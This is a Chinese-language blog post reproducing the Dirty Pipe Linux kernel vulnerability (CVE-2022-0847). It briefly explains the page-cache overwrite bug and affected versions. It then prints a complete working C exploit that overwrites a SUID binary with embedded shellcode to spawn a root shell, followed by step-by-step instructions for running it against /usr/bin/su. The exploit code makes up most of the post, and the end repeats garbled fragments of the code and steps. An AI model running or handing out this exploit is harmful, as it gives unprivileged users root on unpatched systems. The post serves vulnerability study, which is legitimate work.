Dirty Pipe 漏洞（CVE-2022-0847）复现

Dirty Pipe 漏洞（CVE-2022-0847）复现

2022年3月7日Max Kellermann max.kellermann@ionos.com发布关于[The Dirty Pipe Vulnerablity](The Dirty Pipe Vulnerability — The Dirty Pipe Vulnerability documentation (cm4all.com))的文章。描述了关于该漏洞的发现过程以及POC。Dirty Pipe漏洞类似于Dirty Cow漏洞，该漏洞允许改写任意只读文件的内容。可以让非特权用户通过注入代码到root用户的进程进行提权，得到root权限。

漏洞原理

This bug suddenly became critical in Linux 5.8 with commit f6dd975583bd “pipe: merge anon_pipe_buf*_ops”. By injecting PIPE_BUF_FLAG_CAN_MERGE into a page cache reference, it became possible to overwrite data in the page cache, simply by writing new data into the pipe prepared in a special way.

影响范围

Linux 5.8及以上（Linux 5.16.11, 5.15.25 和 5.10.102版本已经修复）

漏洞危害

任意用户能够通过复写数据到任意只读文件，就能root用户权限。

漏洞利用

1. Create a pipe.
2. Fill the pipe with arbitrary data (to set the PIPE_BUF_FLAG_CAN_MERGE flag in all ring entries).
3. Drain the pipe (leaving the flag set in all struct pipe_buffer instances on the struct pipe_inode_info ring).
4. Splice data from the target file (opened with O_RDONLY) into the pipe from just before the target offset.
5. Write arbitrary data into the pipe; this data will overwrite the cached file page instead of creating a new anomyous struct pipe_buffer because PIPE_BUF_FLAG_CAN_MERGE is set.

推·特用户Phit0n根据源PoC进行了优化，做出了新的PoC，能够通过重写SUID的程序就能够进行提权

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OMhZ82Vn-1646882589197)(C:\Users\airhao3‘s PC\AppData\Roaming\Typora\typora-user-images\image-20220310101702048.png)]

POC地址

//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
	/* open the input file and validate the specified offset */
	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return -1;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return -1;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return -1;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return -1;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, len);
	if (nbytes < 0) {
		perror("write failed");
		return -1;
	}
	if ((size_t)nbytes < len) {
		fprintf(stderr, "short write\n");
		return -1;
	}

	close(fd);

	return 0;
}

int main(int argc, char **argv) {
	if (argc != 2) {
		fprintf(stderr, "Usage: %s SUID\n", argv[0]);
		return EXIT_FAILURE;
	}

	char *path = argv[1];
	uint8_t *data = elfcode;

	int fd = open(path, O_RDONLY);
	uint8_t *orig_bytes = malloc(sizeof(elfcode));
	lseek(fd, 1, SEEK_SET);
	read(fd, orig_bytes, sizeof(elfcode));
	close(fd);

	printf("[+] hijacking suid binary..\n");
	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] dropping suid shell..\n");
	system(path);

	printf("[+] restoring suid binary..\n");
	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
	system("/tmp/sh");

	return EXIT_SUCCESS;
}

复现过程

1. 首先用普通用户登录主机
2. 下载PoC文件，进行编译
3. 执行文件，参数设置为/usr/bin/su
4. 得到root权限

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CCQBTB9H-1646882589198)(C:\Users\airhao3‘s PC\AppData\Roaming\Typora\typora-user-images\image-20220310104947493.png)]

PS：

[+] popping root shell… (dont forget to clean up /tmp/sh 😉)\n");
system("/tmp/sh");

return EXIT_SUCCESS;

}

### 复现过程



1. 首先用普通用户登录主机
2. 下载PoC文件，进行编译
3. 执行文件，参数设置为`/usr/bin/su`
4. 得到`root`权限

[外链图片转存中...(img-CCQBTB9H-1646882589198)]



PS：

推上有大佬已经根据这个漏洞搞了下拓展，能够在容器间横向移动。